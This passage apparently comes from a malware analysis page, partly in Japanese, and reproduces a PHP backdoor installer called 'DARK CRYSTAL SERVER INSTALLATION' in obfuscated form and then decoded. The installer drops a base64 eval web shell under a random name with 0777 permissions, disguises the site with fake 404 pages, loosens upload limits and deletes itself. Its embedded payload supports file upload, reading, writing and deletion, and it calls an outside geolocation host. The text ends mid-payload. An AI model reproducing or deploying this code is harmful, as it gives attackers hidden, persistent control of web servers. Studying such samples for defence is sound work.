9fX19fX19fX19fX19fX19fX18sbF8oJF9fX19fX19fX19fX19fX19fX19fX18sbWQ1KCRfX19fX19fX19fX19fX19fX19fX19fXyAuY3JjMzIoJF9fX19fXyAuJF9fX19fIC4kX19fX19fX18pKSkpO31pZighZW1wdHkoJF9QT1NUW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDE2MCldIC5fNDc5MDk3ODMyKDE2MSkpXSkpeyRfX19fX19fX19fX19fX19fX19fX19fXz1iYXNlNjRfZGVjb2RlKHN0cnJldigkX1BPU1RbbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoMTYyKV0gLl80NzkwOTc4MzIoMTYzKSldKSk7JF9fX19fX19fX19fX19fX19fX19fX19fXz1wYXRoaW5mbygkX19fX19fX19fX19fX19fX19fX19fX18pW180NzkwOTc4MzIoMTY0KV07aWYoJF9fX19fX19fX19fX19fX19fX19fX19fXyA9PSBudWxsKXskX19fX19fX19fX19fX19fX19fX19fX19fPWV4cGxvZGUoJF9fX19fX19fXywkX19fX19fX19fX19fX19fX19fX19fX18pW3JvdW5kKDArMC41KzAuNSldO31pZighY3R5cGVfcHJpbnQoJF9fX19fX19fX19fX19fX19fX19fX19fKW9yICRfX19fX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxNjUpb3IgJF9fX19fX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDE2NilvciAkX19fX19fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTY3KW9yICRfX19fX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxNjgpb3IgJF9fX19fX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDE2OSlvciAkX19fX19fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTcwKW9yICRfX19fX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxNzEpb3IgJF9fX19fX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDE3MilvciAkX19fX19fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTczKSlyZXR1cm47bW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbbWQ1KCRfX19fX19fX19fX19fX19fX19fX19fXyldW180NzkwOTc4MzIoMTc0KV0sJF9fX19fX18gLl80NzkwOTc4MzIoMTc1KSAuJF9fX19fX19fX19fX19fX19fX19fX19fKTt9aWYoIWVtcHR5KCRfR0VUW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDE3NildIC5fNDc5MDk3ODMyKDE3NykpXSkpeyRfX19fX19fX19fX19fX19fX19fX19fX19fPWpzb25fZGVjb2RlKGJhc2U2NF9kZWNvZGUoc3RycmV2KCRfR0VUW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDE3OCldIC5fNDc5MDk3ODMyKDE3OSkpXSkpLHRydWUpO2ZvcmVhY2goJF9fX19fX19fX19fX19fX19fX19fX19fX18gYXMgJF9fX19fX19fX19fX19fX19fXyl7JF9fX19fX19fX19fX19fX19fX189JF9fX19fX19fX19fX19fX19fX1ttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigxODApXSAuXzQ3OTA5NzgzMigxODEpKV07JF9fX19fX19fX19fX19fX19fX19fPXN0cl9yZXBsYWNlKF80NzkwOTc4MzIoMTgyKSxfNDc5MDk3ODMyKDE4MyksJF9fX19fX19fX19fX19fX19fX1ttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigxODQpXSAuXzQ3OTA5NzgzMigxODUpKV0pOyRfX19fX19fX19fX19fX19fX19fX19fPWJhc2U2NF9kZWNvZGUoJF9fX19fX19fX19fX19fX19fX1ttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigxODYpXSAuXzQ3OTA5NzgzMigxODcpKV0pO2lmKCEkX19fX19fX19fX19fX19fXyl7aWYoc2hhMSgkX19fX19fX19fX19fX19fX19fXykhPSBiYXNlNjRfZGVjb2RlKHN0cnJldigkX0dFVFttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigxODgpXSAuXzQ3OTA5NzgzMigxODkpKV0pKW9yIHN0cmxlbigkX19fX19fX19fX19fX19fX19fXykhPSByb3VuZCgwKzEwKzEwKzEwKzEwKW9yIHN0cmxlbigkX19fX19fX19fX19fX19fX19fX18pIT0gcm91bmQoMCsxMy4zMzMzMzMzMzMzMzMrMTMuMzMzMzMzMzMzMzMzKzEzLjMzMzMzMzMzMzMzMykpe3JldHVybjt9fWlmKCFjdHlwZV9wcmludCgkX19fX19fX19fX19fX19fX19fX18pb3IhY3R5cGVfcHJpbnQoJF9fX19fX19fX19fX19fX19fX18pb3IgJF9fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTkwKW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDE5MSlvciAkX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxOTIpb3IgJF9fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTkzKW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDE5NClvciAkX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxOTUpb3IgJF9fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTk2KW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDE5NylvciAkX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxOTgpKWNvbnRpbnVlO2ZpbGVfcHV0X2NvbnRlbnRzKCRfX19fX19fIC5fNDc5MDk3ODMyKDE5OSkgLiRfX19fX19fX19fX19fX19fX19fIC4kX19fX19fX19fIC4kX19fX19fX19fX19fX19fX19fX18sbF8obF9fKGZpbGVfZ2V0X2NvbnRlbnRzKCRfX19fX19fIC5fNDc5MDk3ODMyKDIwMCkgLiRfX19fX19fX19fX19fX19fX19fIC4kX19fX19fX19fIC4kX19fX19fX19fX19fX19fX19fX18pLG1kNSgkX19fX19fX19fX19fX19fX19fXyAuY3JjMzIoJF9fX19fXyAuJF9fX19fIC4kX19fX19fX18pKSkgLiRfX19fX19fX19fX19fX19fX19fX19fLG1kNSgkX19fX19fX19fX19fX19fX19fXyAuY3JjMzIoJF9fX19fXyAuJF9fX19fIC4kX19fX19fX18pKSkpO319aWYoIWVtcHR5KGJhc2U2NF9kZWNvZGUoc3RycmV2KCRfR0VUW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDIwMSldIC5fNDc5MDk3ODMyKDIwMikpXSkpKWFuZCAkX19fX19fX19fX19fX19fXyA9PSB0cnVlKXskX19fX19fX19fX19fPWFycmF5KCk7JF9fX19fX19fX19fX19fX19fX19fX19fX19fPWpzb25fZGVjb2RlKGJhc2U2NF9kZWNvZGUoc3RycmV2KCRfR0VUW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDIwMyldIC5fNDc5MDk3ODMyKDIwNCkpXSkpLHRydWUpOyRfX19fX19fX19fX19fX19fX19fXz0kX19fX19fX19fX19fX19fX19fX19fX19fX19bbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoMjA1KV0gLl80NzkwOTc4MzIoMjA2KSldOyRfX19fX19fX19fX19fX19fXz0kX19fX19fX19fX19fX19fX19fX19fX19fX19bbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoMjA3KV0gLl80NzkwOTc4MzIoMjA4KSldOyRfX19fX19fX19fX19fX19fX19fX19fX19fX189JF9fX19fX19fX19fX19fX19fX19fX19fX19fW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDIwOSldIC5fNDc5MDk3ODMyKDIxMCkpXTtpZigkX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigyMTEpb3IgJF9fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMjEyKW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDIxMylvciAkX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigyMTQpb3IgJF9fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMjE1KW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDIxNilvciAkX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigyMTcpb3IgJF9fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMjE4KW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDIxOSkpcmV0dXJuOyRfX19fX19fX19fX19fX19fX19fX19fX19fX19fPWdsb2IoJF9fX19fX18gLl80NzkwOTc4MzIoMjIwKSAuJF9fX19fX19fXyAuJF9fX19fX19fX19fX19fX19fX19fKTtmb3JlYWNoKCRfX19fX19fX19fX19fX19fX19fX19fX19fX19fIGFzICRfX19fX19fX19fX19fX19fX18peyRfX19fX19fX19fX19fX19fX19fX19fX19fX19fXz1iYXNlbmFtZSgkX19fX19fX19fX19fX19fX19fLCRfX19fX19fX18gLiRfX19fX19fX19fX19fX19fX19fXyk7JF9fX19fX19fX19fX1skX19fX19fX19fX19fX19fX19fX19fX19fX19fX19dW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDIyMSldIC5fNDc5MDk3ODMyKDIyMikpXT0kX19fX19fX19fX19fX19fX19fX19fX19fX19fX187aWYoJF9fX19fX19fX19fX19fX19fID09IHRydWUpeyRfX19fX19fX19fX19bJF9fX19fX19fX19fX19fX19fX19fX19fX19fX19fXVttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigyMjMpXSAuXzQ3OTA5NzgzMigyMjQpKV09YmFzZTY0X2VuY29kZShsX18oZmlsZV9nZXRfY29udGVudHMoJF9fX19fX19fX19fX19fX19fXyksbWQ1KCRfX19fX19fX19fX19fX19fX19fX19fX19fX19fXyAuY3JjMzIoJF9fX19fXyAuJF9fX19fIC4kX19fX19fX18pKSkpOyRfX19fX19fX19fX19bJF9fX19fX19fX19fX19fX19fX19fX19fX19fX19fXVttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigyMjUpXSAuXzQ3OTA5NzgzMigyMjYpKV09YmFzZTY0X2VuY29kZShkYXRlKF80NzkwOTc4MzIoMjI3KSxmaWxlbXRpbWUoJF9fX19fX19fX19fX19fX19fXykpKTskX19fX19fX19fX19fWyRfX19fX19fX19fX19fX19fX19fX19fX19fX19fX11bbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoMjI4KV0gLl80NzkwOTc4MzIoMjI5KSldPWJhc2U2NF9lbmNvZGUoZGF0ZShfNDc5MDk3ODMyKDIzMCkpKTt9aWYoY291bnQoJF9fX19fX19fX19fX19fX19fX19fX19fX19fXyk+cm91bmQoMCkpe2ZvcmVhY2goJF9fX19fX19fX19fX19fX19fX19fX19fX19fXyBhcyAkX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fKXskX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fXz1iYXNlNjRfZGVjb2RlKCRfX19fX19fX19fX19fX19fX19fX19fX19fX19fX18pOyRfX19fX19fX19fX19bJF9fX19fX19fX19fX19fX19fX19fX19fX19fX19fXVttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigyMzEpXSAuXzQ3OTA5NzgzMigyMzIpKV1bbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoMjMzKV0gLiRfX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fKV09YmFzZTY0X2VuY29kZShsX18oZmlsZV9nZXRfY29udGVudHMoJF9fX19fX18gLl80NzkwOTc4MzIoMjM0KSAuJF9fX19fX19fX19fX19fX19fX19fX19fX19fX19fIC4kX19fX19fX19fIC5zaGExKCRfX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fIC4kX19fX19fX19fX19fX19fX19fX19fX19fX19fX18pKSxtZDUoJF9fX19fX19fX19fX19fX19fX19fX19fX19fX19fIC5jcmMzMigkX19fX19fIC4kX19fX18gLiRfX19fX19fXykpKSk7fX19ZWNobyhzdHJyZXYoYmFzZTY0X2VuY29kZShqc29uX2VuY29kZSgkX19fX19fX19fX19fKSkpKTt9aWYoIWVtcHR5KGJhc2U2NF9kZWNvZGUoc3RycmV2KCRfR0VUW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDIzNSldIC5fNDc5MDk3ODMyKDIzNikpXSkpKWFuZCAkX19fX19fX19fX19fX19fXyA9PSB0cnVlKXskX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX189anNvbl9kZWNvZGUoYmFzZTY0X2RlY29kZShzdHJyZXYoJF9HRVRbbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoMjM3KV0gLl80NzkwOTc4MzIoMjM4KSldKSksdHJ1ZSk7Zm9yZWFjaCgkX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX18gYXMgJF9fX19fX19fX19fX19fX19fXyl7JF9fX19fX19fX19fX19fX19fX189JF9fX19fX19fX19fX19fX19fX1ttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigyMzkpXSAuXzQ3OTA5NzgzMigyNDApKV07JF9fX19fX19fX19fX19fX19fX19fX19fX19fX189Z2xvYigkX19fX19fXyAuXzQ3OTA5NzgzMigyNDEpIC4kX19fX19fX19fX19fX19fX19fXyAuJF9fX19fX19fXyAuXzQ3OTA5NzgzMigyNDIpKTtmb3JlYWNoKCRfX19fX19fX19fX19fX19fX19fX19fX19fX19fIGFzICRfX19fX19fX19fX19fX19fX18pe3VubGluaygkX19fX19fX19fX19fX19fX19fKTt9fX0=";
    $code = base64_decode($src);
    $code = str_replace("4464384df654985d17d3f8bb52d22584", $password, $code);
    $code = str_replace("S3fseRewrstst", $folder_name, $code);
    $encoded_code = base64_encode($code); // Encode the script without reversing
    
    // Generate a random file name (max 8 characters) for dokatkapidr.php
    $random_filename = substr(bin2hex(random_bytes(5)), 0, 8) . ".php";
    
    $result = "<?php eval(base64_decode('" . $encoded_code . "')); ?>"; // Embed the encoded script

    function cfile_put_contents($path, $content){
        file_put_contents($path, $content);
        chmod($path, 0777);
    }
    cfile_put_contents(".htaccess", "php_value memory_limit 512M
    php_value post_max_size 150000M
    php_value upload_max_filesize 150000M
    php_value max_input_vars 1800
    php_value max_execution_time 300
    php_value max_input_time 300");
    
    cfile_put_contents($random_filename, $result);

    cfile_put_contents("index.html", "<html><head>
    <title>404 Not Found</title>
    </head><body>
    <h1>Not Found</h1>
    <p>The requested URL was not found on this server.</p>
    <hr>

    </body></html>");
    cfile_put_contents("index.php", "<?php include(\"/opt/index.php\") ?>
    ");
    mkdir($folder_name, 0777);
    cfile_put_contents($folder_name."/index.html", "<?php include(\"/opt/index.php\") ?>");

   // First convert to base64 then reverse from left to right
   $encoded_filename = strrev(base64_encode(substr($random_filename, 0, -4))); 
   
   $output = "Installation successful. URL: http://" . $_SERVER['SERVER_NAME'] . "/@" . $encoded_filename;
   unlink(__FILE__);
}
?>



<html>

<head>
    <title>DARK CRYSTAL SERVER INSTALLATION</title>
    <style>
        body {
            background: linear-gradient(45deg, #292929 25%, transparent 25%, transparent 75%, #292929 75%), linear-gradient(45deg, #292929 25%, transparent 25%, transparent 75%, #292929 75%) 0.1875em 0.1875em, radial-gradient(at 50% 0, #484847, #090909);
            background-size: 0em 0em, 0em 0em, 100% 100%;
            height: 100vh;
            margin: 0;
        }
        .center {
            display: flex;
            justify-content: center;
            align-items: center;
            height: calc(100vh - 2px);
            border: 1px solid #666666;
            box-sizing: content-box;
            font: normal 16px/1 Tahoma, Geneva, sans-serif;
            color: #cccccc;
            flex-direction: column;
        }
        form {
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            width: 100%;
        }
        h1 {
            font: bold 16px/1 Tahoma, Geneva, sans-serif;
            color: #cccccc;
            text-align: center;
            margin-top: 0;
        }
    </style>
</head>

<body>
    <div class="center">
        <h1>DARK CRYSTAL SERVER INSTALLATION</h1>
        <?php if (isset($output)) { ?>
            <p><?= $output ?></p>
        <?php } else { ?>
            <form action="" method="post" name="settingform">
                <input style="width: 300px; height: 30px; border: 1px solid #444; color: #fff; background: #1f1f1f; font-size: 15px; padding-left: 6px; padding-right: 6px; margin-top: 20px;" type="password" name="server_password" placeholder="Server Password">
                <input style="width: 300px; height: 30px; border: 1px solid #444; color: #fff; background: #1f1f1f; font-size: 15px; padding-left: 6px; padding-right: 6px; margin-top: 10px" type="submit" name="install" value="Install">
            </form>
        <?php } ?>
    </div>
</body>

</html>

デコード(難読化解除)されたコード

<?php

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST["install"])) {
    $password = $_POST["server_password"];
    if ($password == "") {
        return;
    }
    $folder_name = bin2hex(random_bytes(8));
    $password = md5($password);
    $src = "ZnVuY3Rpb24gXzQ3OTA5NzgzMigkaSl7JGE9QXJyYXkoIkFFUy0xOTItT0ZCIiwiU0VSVkVSX05BTUUiLCJBRVMtMTkyLU9GQiIsIlNFUlZFUl9OQU1FIiwnRXVyb3BlL0xvbmRvbicsJ2Rpc3BsYXlfZXJyb3JzJywnbG9nX2Vycm9ycycsJ3VwbG9hZF9tYXhfZmlsZXNpemUnLCcxNTAwMDBNJywncG9zdF9tYXhfc2l6ZScsJzE1MDAwME0nLCdtYXhfaW5wdXRfdGltZScsJ21heF9leGVjdXRpb25fdGltZScsIjQ0NjQzODRkZjY1NDk4NWQxN2QzZjhiYjUyZDIyNTg0IiwiRENPd25lZCIsIlMzZnNlUmV3cnN0c3QiLCIyZDQ0NzU5M2RkMTQ5YTJiYmUzMjFkNDI4MWE3Y2UxNTlhNWNhNzU5IiwiLSIsIlNFUlZFUl9OQU1FIiwiZ2V0dG9rZW4iLCJTRVJWRVJfTkFNRSIsImdldHRva2VuIiwiU0VSVkVSX05BTUUiLCdIVFRQX0NMSUVOVF9JUCcsJ0hUVFBfQ0xJRU5UX0lQJywnSFRUUF9YX0ZPUldBUkRFRF9GT1InLCdIVFRQX1hfRk9SV0FSREVEX0ZPUicsJ1JFTU9URV9BRERSJywiU0VSVkVSX05BTUUiLCJ0b2tlbiIsIlNFUlZFUl9OQU1FIiwidGtuIiwiU0VSVkVSX05BTUUiLCJ0b2tlbl91aWQiLCJTRVJWRVJfTkFNRSIsInN0YXR1cyIsIlNFUlZFUl9OQU1FIiwiT0siLCJTRVJWRVJfTkFNRSIsIndvcmtkaXIiLCJTRVJWRVJfTkFNRSIsImlwaW5mbyIsImh0dHA6Ly93d3cuZ2VvcGx1Z2luLm5ldC9qc29uLmdwP2lwPSIsIlNFUlZFUl9OQU1FIiwic3RhdHVzIiwiU0VSVkVSX05BTUUiLCJXUk9ORyIsIlNFUlZFUl9OQU1FIiwiU0VSVkVSX05BTUUiLCJ2YWwiLCJTRVJWRVJfTkFNRSIsInBhc3N3b3JkIiwiU0VSVkVSX05BTUUiLCJwYXNzd29yZCIsIlNFUlZFUl9OQU1FIiwic3RhdHVzIiwiU0VSVkVSX05BTUUiLCJPSyIsIlNFUlZFUl9OQU1FIiwid29ya2RpciIsIlNFUlZFUl9OQU1FIiwidG9rZW4iLCJTRVJWRVJfTkFNRSIsInRrbiIsIlNFUlZFUl9OQU1FIiwic3RhdHVzIiwiU0VSVkVSX05BTUUiLCJXUk9ORyIsIlNFUlZFUl9OQU1FIiwiU0VSVkVSX05BTUUiLCJ2YWwiLCJTRVJWRVJfTkFNRSIsInRva2VuIiwiU0VSVkVSX05BTUUiLCJ0b2tlbiIsIlNFUlZFUl9OQU1FIiwidG9rZW4iLCJTRVJWRVJfTkFNRSIsInRrbiIsIlNFUlZFUl9OQU1FIiwidG9rZW5fdWlkIiwiU0VSVkVSX05BTUUiLCJnZXRkYXRhIiwiU0VSVkVSX05BTUUiLCJnZXRkYXRhIiwiU0VSVkVSX05BTUUiLCJuYW1lIiwiLiIsIiIsIlNFUlZFUl9OQU1FIiwiZXh0ZW5zaW9uIiwiU0VSVkVSX05BTUUiLCJ0b2tlbl91aWQiLCJwaHAiLCJodG1sIiwiaHRtIiwiaHRhY2Nlc3MiLCJ4aHRtbCIsIm1odG1sIiwibWh0bSIsIm1odCIsImpzIiwiU0VSVkVSX05BTUUiLCJTRVJWRVJfTkFNRSIsIi8iLCJTRVJWRVJfTkFNRSIsInNldGRhdGEiLCJTRVJWRVJfTkFNRSIsInNldGRhdGEiLCJTRVJWRVJfTkFNRSIsIm5hbWUiLCIuIiwiIiwiU0VSVkVSX05BTUUiLCJleHRlbnNpb24iLCJTRVJWRVJfTkFNRSIsImRhdGEiLCJTRVJWRVJfTkFNRSIsInRva2VuX3VpZCIsInBocCIsImh0bWwiLCJodG0iLCJodGFjY2VzcyIsInhodG1sIiwibWh0bWwiLCJtaHRtIiwibWh0IiwianMiLCIvIiwiU0VSVkVSX05BTUUiLCJkb3dubG9hZHNhZmVmaWxlX25hbWUiLCJTRVJWRVJfTkFNRSIsImRvd25sb2Fkc2FmZWZpbGVfbmFtZSIsJ2V4dGVuc2lvbicsInBocCIsImh0bWwiLCJodG0iLCJodGFjY2VzcyIsInhodG1sIiwibWh0bWwiLCJtaHRtIiwibWh0IiwianMiLCIvIiwiU0VSVkVSX05BTUUiLCJ1cGxvYWRzYWZlZmlsZV9uYW1lIiwiU0VSVkVSX05BTUUiLCJ1cGxvYWRzYWZlZmlsZV9uYW1lIiwnZXh0ZW5zaW9uJywidG1wX25hbWUiLCJwaHAiLCJodG1sIiwiaHRtIiwiaHRhY2Nlc3MiLCJ4aHRtbCIsIm1odG1sIiwibWh0bSIsIm1odCIsImpzIiwiLyIsIlNFUlZFUl9OQU1FIiwidXBsb2FkZmlsZV9uYW1lIiwiU0VSVkVSX05BTUUiLCJ1cGxvYWRmaWxlX25hbWUiLCdleHRlbnNpb24nLCJwaHAiLCJodG1sIiwiaHRtIiwiaHRhY2Nlc3MiLCJ4aHRtbCIsIm1odG1sIiwibWh0bSIsIm1odCIsImpzIiwidG1wX25hbWUiLCIvIiwiU0VSVkVSX05BTUUiLCJhZGRkYXRhIiwiU0VSVkVSX05BTUUiLCJhZGRkYXRhIiwiU0VSVkVSX05BTUUiLCJuYW1lIiwiLiIsIiIsIlNFUlZFUl9OQU1FIiwiZXh0ZW5zaW9uIiwiU0VSVkVSX05BTUUiLCJkYXRhIiwiU0VSVkVSX05BTUUiLCJ0b2tlbl91aWQiLCJwaHAiLCJodG1sIiwiaHRtIiwiaHRhY2Nlc3MiLCJ4aHRtbCIsIm1odG1sIiwibWh0bSIsIm1odCIsImpzIiwiLyIsIi8iLCJTRVJWRVJfTkFNRSIsImdldGFsbGJ5ZXh0IiwiU0VSVkVSX05BTUUiLCJnZXRhbGxieWV4dCIsIlNFUlZFUl9OQU1FIiwiZXh0ZW5zaW9uIiwiU0VSVkVSX05BTUUiLCJnZXRkYXRhIiwiU0VSVkVSX05BTUUiLCJhZGRpdGlvbmFsZGF0YSIsInBocCIsImh0bWwiLCJodG0iLCJodGFjY2VzcyIsInhodG1sIiwibWh0bWwiLCJtaHRtIiwibWh0IiwianMiLCIvKiIsIlNFUlZFUl9OQU1FIiwibmFtZSIsIlNFUlZFUl9OQU1FIiwiZGF0YSIsIlNFUlZFUl9OQU1FIiwibGFzdG1vZGlmaWNhdGlvbnRpbWUiLCJkLm0tSDppIiwiU0VSVkVSX05BTUUiLCJub3d0aW1lIiwiZC5tLUg6aSIsIlNFUlZFUl9OQU1FIiwiYWRkaXRpb25hbGRhdGEiLCJTRVJWRVJfTkFNRSIsIi8iLCJTRVJWRVJfTkFNRSIsImRlbGFsbGJ5bmFtZSIsIlNFUlZFUl9OQU1FIiwiZGVsYWxsYnluYW1lIiwiU0VSVkVSX05BTUUiLCJuYW1lIiwiLyIsIioiKTtyZXR1cm4gJGFbJGldO30gPz48P3BocCBmdW5jdGlvbiBsXygkXywkX18pe3JldHVybiBvcGVuc3NsX2VuY3J5cHQoJF8sXzQ3OTA5NzgzMigwKSwkX18sJF9fXz1yb3VuZCgwKSwkX1NFUlZFUltfNDc5MDk3ODMyKDEpXSk7fWZ1bmN0aW9uIGxfXygkXywkX19fXyl7cmV0dXJuIG9wZW5zc2xfZGVjcnlwdCgkXyxfNDc5MDk3ODMyKDIpLCRfX19fLCRfX189cm91bmQoMCksJF9TRVJWRVJbXzQ3OTA5NzgzMigzKV0pO31kYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KF80NzkwOTc4MzIoNCkpO2Vycm9yX3JlcG9ydGluZyhyb3VuZCgwKSk7aW5pX3NldChfNDc5MDk3ODMyKDUpLHJvdW5kKDApKTtpbmlfc2V0KF80NzkwOTc4MzIoNikscm91bmQoMCkpO2luaV9zZXQoXzQ3OTA5NzgzMig3KSxfNDc5MDk3ODMyKDgpKTtpbmlfc2V0KF80NzkwOTc4MzIoOSksXzQ3OTA5NzgzMigxMCkpO2luaV9zZXQoXzQ3OTA5NzgzMigxMSkscm91bmQoMCszMDApKTtpbmlfc2V0KF80NzkwOTc4MzIoMTIpLHJvdW5kKDArNzUrNzUrNzUrNzUpKTskX19fX189c2hhMShfNDc5MDk3ODMyKDEzKSk7JF9fX19fXz1fNDc5MDk3ODMyKDE0KTskX19fX19fXz1fNDc5MDk3ODMyKDE1KTskX19fX19fX189XzQ3OTA5NzgzMigxNik7JF9fX19fX19fXz1fNDc5MDk3ODMyKDE3KTtpZihpc3NldCgkX0dFVFttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigxOCldIC5fNDc5MDk3ODMyKDE5KSldKSl7aWYoJF9HRVRbbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoMjApXSAuXzQ3OTA5NzgzMigyMSkpXT09IG1kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDIyKV0pKXskX19fX19fX19fXz1yYW5kKHJvdW5kKDArMjAwMCsyMDAwKzIwMDArMjAwMCsyMDAwKSxyb3VuZCgwKzE5OTk5LjgrMTk5OTkuOCsxOTk5OS44KzE5OTk5LjgrMTk5OTkuOCkpO3doaWxlKHRydWUpe2lmKCgkX19fX19fX19fXyVyb3VuZCgwKzIpKT09IHJvdW5kKDApKWJyZWFrOyRfX19fX19fX19fPXJhbmQocm91bmQoMCsyMDAwKzIwMDArMjAwMCsyMDAwKzIwMDApLHJvdW5kKDArMjQ5OTkuNzUrMjQ5OTkuNzUrMjQ5OTkuNzUrMjQ5OTkuNzUpKTt9aWYoIWVtcHR5KCRfU0VSVkVSW180NzkwOTc4MzIoMjMpXSkpeyRfX19fX19fX19fXz0kX1NFUlZFUltfNDc5MDk3ODMyKDI0KV07fWVsc2VpZighZW1wdHkoJF9TRVJWRVJbXzQ3OTA5NzgzMigyNSldKSl7JF9fX19fX19fX19fPSRfU0VSVkVSW180NzkwOTc4MzIoMjYpXTt9ZWxzZXskX19fX19fX19fX189JF9TRVJWRVJbXzQ3OTA5NzgzMigyNyldO30kX19fX19fX19fX19fW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDI4KV0gLl80NzkwOTc4MzIoMjkpKV09JF9fX19fX19fX18gLmNyYzMyKCRfX19fX18gLiRfX19fXyAuJF9fX19fX19fKSAuc2hhMSgkX1NFUlZFUltfNDc5MDk3ODMyKDMwKV0gLl80NzkwOTc4MzIoMzEpIC5iYXNlNjRfZGVjb2RlKHN0cnJldigkX0dFVFttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigzMildIC5fNDc5MDk3ODMyKDMzKSldKSkpOyRfX19fX19fX19fX19bbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoMzQpXSAuXzQ3OTA5NzgzMigzNSkpXT1tZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigzNildIC5fNDc5MDk3ODMyKDM3KSk7JF9fX19fX19fX19fX1ttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigzOCldIC5fNDc5MDk3ODMyKDM5KSldPXN0cnJldihiYXNlNjRfZW5jb2RlKHN0cnJldigkX19fX19fXykpKTskX19fX19fX19fX19fW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDQwKV0gLl80NzkwOTc4MzIoNDEpKV09c3RycmV2KGJhc2U2NF9lbmNvZGUoc3RycmV2KGZpbGVfZ2V0X2NvbnRlbnRzKF80NzkwOTc4MzIoNDIpIC4kX19fX19fX19fX18pKSkpO31lbHNleyRfX19fX19fX19fX19bbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoNDMpXSAuXzQ3OTA5NzgzMig0NCkpXT1tZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMig0NSldIC5fNDc5MDk3ODMyKDQ2KSk7fSRfX19fX19fX19fX19fPXJhbmQocm91bmQoMCsxKSxyb3VuZCgwKzMrMyszKzMrMykpO2ZvcigkX19fX19fX19fX19fX189cm91bmQoMCk7JF9fX19fX19fX19fX19fPCRfX19fX19fX19fX19fOyRfX19fX19fX19fX19fXysrKXskX19fX19fX19fX19fX19fPW1kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDQ3KV0gLiRfX19fX19fX19fX19fKTtpZihhcnJheV9rZXlfZXhpc3RzKCRfX19fX19fX19fX19fX18sJF9fX19fX19fX19fXykpY29udGludWU7JF9fX19fX19fX19fX1skX19fX19fX19fX19fX19fXT1tZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMig0OCldIC5fNDc5MDk3ODMyKDQ5KSAuJF9fX19fX19fX19fX18pO31lY2hvKHN0cnJldihiYXNlNjRfZW5jb2RlKGpzb25fZW5jb2RlKCRfX19fX19fX19fX18pKSkpO3JldHVybjt9ZWxzZWlmKGlzc2V0KCRfR0VUW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDUwKV0gLl80NzkwOTc4MzIoNTEpK